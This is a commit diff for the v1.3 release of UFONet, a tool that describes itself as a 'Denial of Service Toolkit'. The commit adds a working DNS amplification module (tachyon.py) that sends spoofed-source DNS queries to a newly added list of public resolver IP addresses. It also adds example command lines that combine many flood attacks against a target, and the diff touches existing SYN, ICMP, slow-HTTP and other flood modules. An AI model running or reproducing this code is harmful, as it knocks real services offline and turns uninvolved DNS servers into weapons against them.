Browse Source

release v1.3 - SingularitY

epsylon 5 years ago
parent
commit
a26ba69282

+ 16 - 12
README.md

@@ -1,4 +1,4 @@
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-welcome_small.png "UFONet Welcome")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-welcome_small.png "UFONet Welcome")
 
 ----------
 
@@ -35,9 +35,9 @@
        python-requests - elegant and simple HTTP library for Python2, built for human beings
        python-scapy - Packet generator/sniffer and network scanner/discovery
 
-  You can automatically get all required libraries using:
+  You can automatically get all required libraries using (as root):
 
-       python setup.py install
+       sudo python setup.py install
 
   For manual installation, on Debian-based systems (ex: Ubuntu), run: 
 
@@ -72,27 +72,31 @@ in the [LICENSE](./docs/LICENSE) file.
 
 ####  Screenshots (current version!):
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-armageddon-shell1_small.png "UFONet Shell")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-shell1_small.png "UFONet Shell")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-armageddon-shell2_small.png "UFONet GUI Shell")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-shell2_small.png "UFONet Shell Board")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-welcome_small.png "UFONet GUI Welcome")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-shell3_small.png "UFONet GUI Shell")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-armageddon-main_small.png "UFONet GUI Main Panel")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-welcome_small.png "UFONet GUI Welcome")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-main_small.png "UFONet GUI Main Panel")
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-botnet_small.png "UFONet GUI Botnet")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-armageddon-stats_small.png "UFONet GUI General Stats")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-stats_small.png "UFONet GUI General Stats")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-ranking_small.png "UFONet GUI Ranking")
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-board_small.png "UFONet GUI Board/Forum")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-armageddon-grid_small.png "UFONet GUI Grid")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-grid_small.png "UFONet GUI Crypto Grid Board")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-armageddon-grid2_small.png "UFONet GUI Grid Stats")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-grid2_small.png "UFONet GUI Grid Stats")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-armageddon-wargames_small.png "UFONet GUI Wargames")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-wargames_small.png "UFONet GUI Wargames")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-armageddon-attack_small.png "UFONet GUI Attack")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-attack_small.png "UFONet GUI Attack")
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui3_small.png "UFONet GeoMap /deploying/")
 

+ 10 - 0
botnet/dns.txt

@@ -0,0 +1,10 @@
+69.24.197.9
+46.45.187.181
+212.170.159.10
+212.236.17.179
+82.71.156.150
+195.177.75.100
+220.120.221.17
+125.227.252.4
+212.3.124.81
+60.249.11.234

BIN
core/images/commander.png


File diff suppressed because it is too large
+ 196 - 56
core/main.py


+ 1 - 1
core/mods/loic.py

@@ -47,5 +47,5 @@ class LOIC(object):
             self.agents.append(agent)
 
     def attacking(self, target, rounds, proxy):
-        print "\n[Info] [AI] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , rounds, "pulses ]"
+        print "[Info] [AI] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , rounds, "pulses ]"
         ionize(self, target, rounds, proxy) # attack with LOIC using threading

+ 1 - 1
core/mods/loris.py

@@ -92,7 +92,7 @@ class LORIS(object):
         self.methods = ['GET', 'POST', 'X-METHOD'] # supported HTTP requests methods
 
     def attacking(self, target, requests):
-        print "\n[Info] [AI] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]\n"
+        print "[Info] [AI] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]"
         try:
             ip = socket.gethostbyname(target)
         except:

+ 1 - 1
core/mods/nuke.py

@@ -51,7 +51,7 @@ def nukeize(ip, port, rounds):
 
 class NUKE(object):
     def attacking(self, target, rounds):
-        print "[Info] [AI] TCP Starvation (NUKE) is ready to fire: [" , rounds, "nukes ]\n"
+        print "[Info] [AI] TCP Starvation (NUKE) is ready to fire: [" , rounds, "nukes ]"
         if target.startswith('http://'):
             target = target.replace('http://','')
             port = 80

+ 2 - 2
core/mods/smurf.py

@@ -22,7 +22,7 @@ def randInt():
 
 def sIP(base_stations): # extract 'base stations'
     bs = {}
-    s_zombie = random.choice(base_stations).strip() # suffle 'base stations'
+    s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
     if not s_zombie in bs:
         try:
             s_zombie_ip = socket.gethostbyname(s_zombie)
@@ -85,7 +85,7 @@ def smurfize(ip, sport, rounds):
 
 class SMURF(object):
     def attacking(self, target, rounds):
-        print "[Info] [AI] ICMP Broadcast (SMURF) is redirecting: [" , rounds, "base stations ]\n"
+        print "[Info] [AI] ICMP Broadcast (SMURF) is redirecting: [" , rounds, "base stations ]"
         if target.startswith('http://'):
             target = target.replace('http://','')
             sport = 80

+ 2 - 2
core/mods/spray.py

@@ -22,7 +22,7 @@ def randInt():
 
 def sIP(base_stations): # extract 'base stations'
     bs = {}
-    s_zombie = random.choice(base_stations).strip() # suffle 'base stations'
+    s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
     if not s_zombie in bs:
         try:
             s_zombie_ip = socket.gethostbyname(s_zombie)
@@ -90,7 +90,7 @@ def sprayize(ip, sport, rounds):
 
 class SPRAY(object):
     def attacking(self, target, rounds):
-        print "[Info] [AI] TCP SYN Reflector (SPRAY) is redirecting: [" , rounds, "base stations ]\n"
+        print "[Info] [AI] TCP SYN Reflector (SPRAY) is redirecting: [" , rounds, "base stations ]"
         if target.startswith('http://'):
             target = target.replace('http://','')
             sport = 80

+ 81 - 0
core/mods/tachyon.py

@@ -0,0 +1,81 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - Denial of Service Toolkit - 2019 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random
+
+try:
+    from scapy.all import *
+except:
+    print "\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python-scapy' or 'pip install scapy'\n"
+    sys.exit(2)
+
+dns_file = "botnet/dns.txt" # OpenDNS servers IP list
+qtype = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # Query types
+ttl = 128 # (TTL) Time To Live 
+timeout = 5 # defautl timeout
+qname = "www.google.com" # default 'spoofed' query 
+
+# UFONet DNS Amplification (TACHYON)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def dnsize(ip, port, rounds):
+    n=0
+    try: # (DNS) Amplification attack uses publically accessible DNS servers to flood a target with DNS response traffic
+        with open(dns_file) as f: # extract OpenDNS servers from file
+            dns_d = f.read().splitlines() 
+        f.close()
+        results = []
+        p_num=0
+        for x in range (0,int(rounds)):
+            try:
+                n=n+1
+                print "[Info] [AI] [TACHYON] Shooting 'crystal' ["+str(n)+"] and unloading laser on it! -> [REFLECTING!]"
+                for i in qtype: # loop through all query types then all DNS servers
+                    for j in dns_d:
+                        p_num += 1
+                        src_ip = randIP() # ip source spoofed on each packet sent
+                        packet = IP(src=src_ip, dst=j, ttl=ttl) / UDP(sport=port) / DNS(rd=1, qd=DNSQR(qname=qname, qtype=i))
+                        try:
+                            send(packet, verbose=0) # not using sr1 because non-replies are required
+                            print("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" IS BEING REFLECTED by ["+str(j)+"] using DNS type: "+str(i)+" -> [AMPLIFYING!]"
+                        except:
+                            print("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" HAS FAILED to be reflected by ["+str(j)+"] using DNS type: "+str(i)+" -> [PASSING!]"
+            except:
+                print "[Error] [AI] [TACHYON] Failed to engage with 'crystal' ["+str(n)+"]"
+    except:
+        print("[Error] [AI] [TACHYON] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class TACHYON(object):
+    def attacking(self, target, rounds):
+        print "[Info] [AI] DNS Amplification (TACHYON) is ready to fire: [" , rounds, "crystals ]"
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            port = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            port = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print "[Info] [AI] [TACHYON] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n"
+            return
+        dnsize(ip, port, rounds) # attack with TACHYON using threading

+ 1 - 1
core/mods/ufosyn.py

@@ -56,7 +56,7 @@ def synize(ip, port, rounds):
 
 class UFOSYN(object):
     def attacking(self, target, rounds):
-        print "[Info] [AI] TCP SYN Flooder (UFOSYN) is ready to fire: [" , rounds, "quantum hooks ]\n"
+        print "[Info] [AI] TCP SYN Flooder (UFOSYN) is ready to fire: [" , rounds, "quantum hooks ]"
         if target.startswith('http://'):
             target = target.replace('http://','')
             port = 80

+ 1 - 1
core/mods/xmas.py

@@ -56,7 +56,7 @@ def xmasize(ip, sport, rounds):
 
 class XMAS(object):
     def attacking(self, target, rounds):
-        print "[Info] [AI] TCP 'Christmas Tree' (XMAS) is ready to fire: [" , rounds, "ionized quartzs ]\n"
+        print "[Info] [AI] TCP 'Christmas Tree' (XMAS) is ready to fire: [" , rounds, "ionized quartzs ]"
         if target.startswith('http://'):
             target = target.replace('http://','')
             sport = 80

File diff suppressed because it is too large
+ 105 - 29
core/options.py


+ 2 - 2
core/tools/abductor.py

@@ -30,7 +30,7 @@ class Abductor(object):
     def establish_connection(self, target):
         if target.endswith(""):
             target.replace("", "/")
-        self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # suffle user-agent
+        self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # shuffle user-agent
         headers = {'User-Agent' : self.ufonet.user_agent, 'Referer' : self.ufonet.referer} # set fake user-agent and referer
         try:
             req = urllib2.Request(target, None, headers)
@@ -95,7 +95,7 @@ class Abductor(object):
         data = urllib.urlencode(query_string)
         target = url + data
         try:
-            self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # suffle user-agent
+            self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # shuffle user-agent
             headers = {'User-Agent' : self.ufonet.user_agent, 'Referer' : self.ufonet.referer} # set fake user-agent and referer
             req = urllib2.Request(target, None, headers)
             if self.ufonet.options.proxy: # set proxy

+ 2 - 2
core/tools/inspector.py

@@ -51,7 +51,7 @@ class Inspector(object):
         biggest_files = {}
         if target.endswith(""):
             target.replace("", "/")
-        self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # suffle user-agent
+        self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # shuffle user-agent
         headers = {'User-Agent' : self.ufonet.user_agent, 'Referer' : self.ufonet.referer} # set fake user-agent and referer
         try:
             if self.ufonet.options.proxy: # set proxy
@@ -79,7 +79,7 @@ class Inspector(object):
             for img in img_links:
                 if self.ufonet.options.proxy: # set proxy
                     self.proxy_transport(self.ufonet.options.proxy)
-                self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # suffle user-agent
+                self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # shuffle user-agent
                 headers = {'User-Agent' : self.ufonet.user_agent, 'Referer' : self.ufonet.referer} # set fake user-agent and referer
                 print('+Image found: ' + img)
                 try:

+ 37 - 0
core/txt/misc.txt

@@ -0,0 +1,37 @@
+Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!
+Oderint dum metuant!
+Ad susceptum perficiendum!
+Chao ab ordo!
+Obscuris vera involvens!
+Omnia mutantur, nihil interit!
+Orbis unum!
+Si vis pacem, para bellum!
+Homo homini lupus!
+Causa de timendi est nescire!
+Adhuc tempus!
+Iniqua nunquam regna perpetuo manent!
+Ab uno disce omnes!
+Unus pro omnibus, omnes pro uno!
+Age quod agis!
+Natalis solis invicti!
+Keep learning!
+Freedom is not measured, freedom is enjoyed!
+Cr4ck the syst3m!
+Hack the Planet!
+Thanks and good luck!
+Reality is a code!
+The Universe is full-linked by a "Quasi-Crystalline Spin Network of Tetrahedra"...
+The possession of the force inevitably harms the free exercise of reason...
+Fac et excusa!
+Si fecisti, nega!
+Divide et impera!
+Yes, we scan!
+If you are flexible, you will stay straight...
+They do not deserve to be heard; their theories provoke precisely the evils they point to...
+When the scoundrel reigns, the crown weighs twice as much for the peasant...
+Everything has its beauty, but not everyone can see it...
+If you already know what you have to do and do not do it then you are worse off than before...
+Wisdom worries about being slow in his speeches and diligent in his actions...
+If you can not move an inch, one foot back!
+Do not go against what is fair to get praise from others...
+Reality is a shadow of higher dimensional objects...

+ 12 - 0
core/txt/motherships.txt

@@ -125,3 +125,15 @@ Red Sprite
 C.Orquín
 Kräken
 Mitra
+J0207
+Oumuamua
+Planck
+WP
+HighL
+BAO
+D-KEVY
+Tyrian2000
+ΜΟΛΩΝ ΛΑΒΕ
+TibSun
+F4ls4Ci0n-1st
+8e8

File diff suppressed because it is too large
+ 702 - 49
core/webgui.py


+ 16 - 5
docs/LEEME.txt

@@ -62,7 +62,7 @@ UFONet funciona en muchas plataformas. Requiere Python (>2.7.9) y las siguientes
 
 Puedes obtener todas las librerías requeridas automáticamente usando:
 
-     python setup.py install
+     sudo python setup.py install
 
 Para instalarlas manualmente en sistemas basados en Debian (ex: Ubuntu), lanza: 
 
@@ -107,14 +107,16 @@ O utilizando una lista de "dorks" que tengas en un fichero:
 
        ./ufonet --sd 'dorks.txt'
 
-Por defecto, UFONet utiliza un motor de búsqueda que se llama 'Yahoo'. Pero puedes elegir uno diferente:
+Por defecto, UFONet utiliza un motor de búsqueda que se llama 'StartPage'. Pero puedes elegir uno diferente:
 
        ./ufonet -s 'proxy.php?url=' --se 'bing'
 
 Ésta es la lista de motores de búsqueda que funcionan con la fecha de la última vez que se han probado:
 
-        - bing  [30/12/2018: OK!]
-        - yahoo [30/12/2018: OK!]
+        - startpage   [06/03/2019: OK!]
+        - duckduckgo  [06/03/2019: OK!]
+        - bing        [06/03/2019: OK!]
+        - yahoo       [06/03/2019: OK!]
 
 También puedes buscar masívamente utilizando todos los motores de búsqueda soportados:
 
@@ -368,11 +370,15 @@ Un ataque STARVATION ('root' requerido) que tumbará tu objetivo en segundos, si
 
      sudo python ufonet -a http://target.com --nuke 10000
 
+O un ataque TACHYON ('root' requerido) para realizar una amplificación distribuída del tráfico DNS:
+
+     sudo python ufonet -a http://target.com --tachyon 1000
+
 Todos los ataques pueden ser combinados haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo:
 
      python ufonet -a http://target.com --loic 100 --loris 100
 
-     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 --spray 100 --smurf 101 --xmas 101 --nuke 10000
+     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 --spray 100 --smurf 101 --xmas 101 --nuke 10000 --tachyon 1000
 
 ###############################
 # Actualizando
@@ -428,6 +434,7 @@ más algunas "extra":
  - NEWS: Permite leer las últimas "noticias" publicadas por la "nave madre"
  - MISSIONS: Permite leer las últimas "misiones" publicadas por la "nave madre"
  - SHIP STATS: Permite consultar las estadísticas de tu "nave"
+ - RANKING: Permite consultar tu posición en el "ranking"
  - BOARD: Permite enviar/recibir mensajes con una "nave madre" (un foro)
  - WARPS: Permite interactuar con una "nave madre" para subir/bajar 'zombies'
  - GLOBAL GRID: Permite revisar las estadísticas de otras "naves"
@@ -437,6 +444,10 @@ más algunas "extra":
 # Timelog
 ###############################
 
+--------------------------
+10.03.2019 : v.1.3
+--------------------------
+
 --------------------------
 03.02.2019 : v.1.2.1
 --------------------------

+ 16 - 5
docs/README.txt

@@ -62,7 +62,7 @@ UFONet runs on many platforms. It requires Python (>2.7.9) and the following lib
 
 You can automatically get all required libraries using:
 
-     python setup.py install
+     sudo python setup.py install
 
 For manual installation on Debian-based systems (ex: Ubuntu), run: 
 
@@ -106,14 +106,16 @@ Or providing a list of "dorks" from a file:
 
        ./ufonet --sd 'botnet/dorks.txt'
 
-By default UFONet will use a search engine called 'Yahoo'. But you can choose a different one:
+By default UFONet will use a search engine called 'StartPage'. But you can choose a different one:
 
        ./ufonet -s 'proxy.php?url=' --se 'bing'
 
 This is the list of available search engines with last time that they were working:
 
-        - bing  [30/12/2018: OK!]
-        - yahoo [30/12/2018: OK!]
+        - startpage  [06/03/2019: OK!]
+        - duckduckgo [06/03/2019: OK!]
+        - bing       [06/03/2019: OK!]
+        - yahoo      [06/03/2019: OK!]
 
 You can also search massively using all search engines supported:
 
@@ -364,11 +366,15 @@ minimum level of protection:
 
      sudo python ufonet -a http://target.com --nuke 10000
 
+Or a TACHYON ('root' required) attack to perform a distributed amplification of DNS traffic:
+
+     sudo python ufonet -a http://target.com --tachyon 1000
+
 All ways could be combined, so UFONet can attack DDoS and DoS, at the same time:
 
      python ufonet -a http://target.com --loic 100 --loris 100
 
-     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 --spray 100 --smurf 101 --xmas 101 --nuke 10000
+     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 --spray 100 --smurf 101 --xmas 101 --nuke 10000 --tachyon 1000
 
 ###############################
 # Updating
@@ -423,6 +429,7 @@ This will open a tab on your default browser with all features of the tool and s
  - NEWS: Allows to read last "news" published by a "mothership"
  - MISSIONS: Allows to read last "missions" published by a "mothership"
  - SHIP STATS: Allows to review statistics from your "spaceship"
+ - RANKING: Allows to check your "ranking" position
  - BOARD: Allows to send/receive messages to/from a "mothership" (a forum)
  - WARPS: Allows to interact with a "mothership" to download/upload "zombies"
  - GLOBAL GRID: Allows to review statistics from other "spaceships"
@@ -432,6 +439,10 @@ This will open a tab on your default browser with all features of the tool and s
 # Timelog
 ###############################
 
+--------------------------
+10.03.2019 : v.1.3
+--------------------------
+
 --------------------------
 03.02.2019 : v.1.2.1
 --------------------------

+ 1 - 0
docs/VERSION

@@ -13,3 +13,4 @@ Date	    Size      Version  Alias
 2018-03-07  947.9kB   1.0      TachYon!
 2018-09-26  950.7kB   1.1      Quantum Hydra!
 2018-12-31  966.9Kb   1.2      Armageddon!
+2019-03-07    1.0Mb   1.3      SingularitY!

+ 53 - 0
docs/examples.txt

@@ -0,0 +1,53 @@
+
+                      .   *        .       .
+       *      -0-
+          .                .  *       - )-
+       .      *       o       .       *
+ o                |
+           .     -O-
+.                 |        *      .     -0-
+       *  o     .    '       *      .        o
+              .         .        |      *
+   *             *              -O-          .
+         .             *         |     ,
+                .           o
+        .---.
+      _/__~Y_\_     .  *            o       '
+     (_________)             .
+                 .                        *
+       *               - ) -       *
+
+-----------------------------------------------------------------------------
++_PALANTIR-3.14 (non-root): 
+----------------------------------------------
+
+ ./ufonet -a "http://target.com" -r "100" --loic "1000" --loris "1000"
+
+-----------------------------------------------------------------------------
++_SOCKING_WAVES (instant-knockout!) (as root):
+----------------------------------------------
+
+ ./ufonet -a "http://target.com" -r "100" --nuke "10000"
+
+-----------------------------------------------------------------------------
++_XCOM-1 (only DDoS) (as root): 
+----------------------------------------------
+
+ ./ufonet -a "http://target.com" -r "100" --spray "1000" --smurf "1000" --tachyon "1000"
+
+-----------------------------------------------------------------------------
++_XCOM-2 (only DoS) (as root):
+----------------------------------------------
+
+ ./ufonet -a "http://target.com" -r "100" --loic "1000" --loris "1000" --ufosyn "1000" --xmas "1000" --nuke "1000"
+
+-----------------------------------------------------------------------------
++_ARMAGEDDON! (with ALL!) (as root):
+----------------------------------------------
+
+ ./ufonet -a http://target.com -r "100" --loic "1000" --loris "1000" --ufosyn "1000" --spray "1000" --smurf "1000" --xmas "1000" --nuke "1000" --tachyon "1000" --threads "100"
+
+-----------------------------------------------------------------------------
++_EXAMPLES (online): https://ufonet.03c8.net/#examples
+----------------------------------------------
+

+ 1 - 1
docs/release.date

@@ -1 +1 @@
-Mon Dec 31 23:54:22 2018
+Wen Mar 07 20:09:45 2019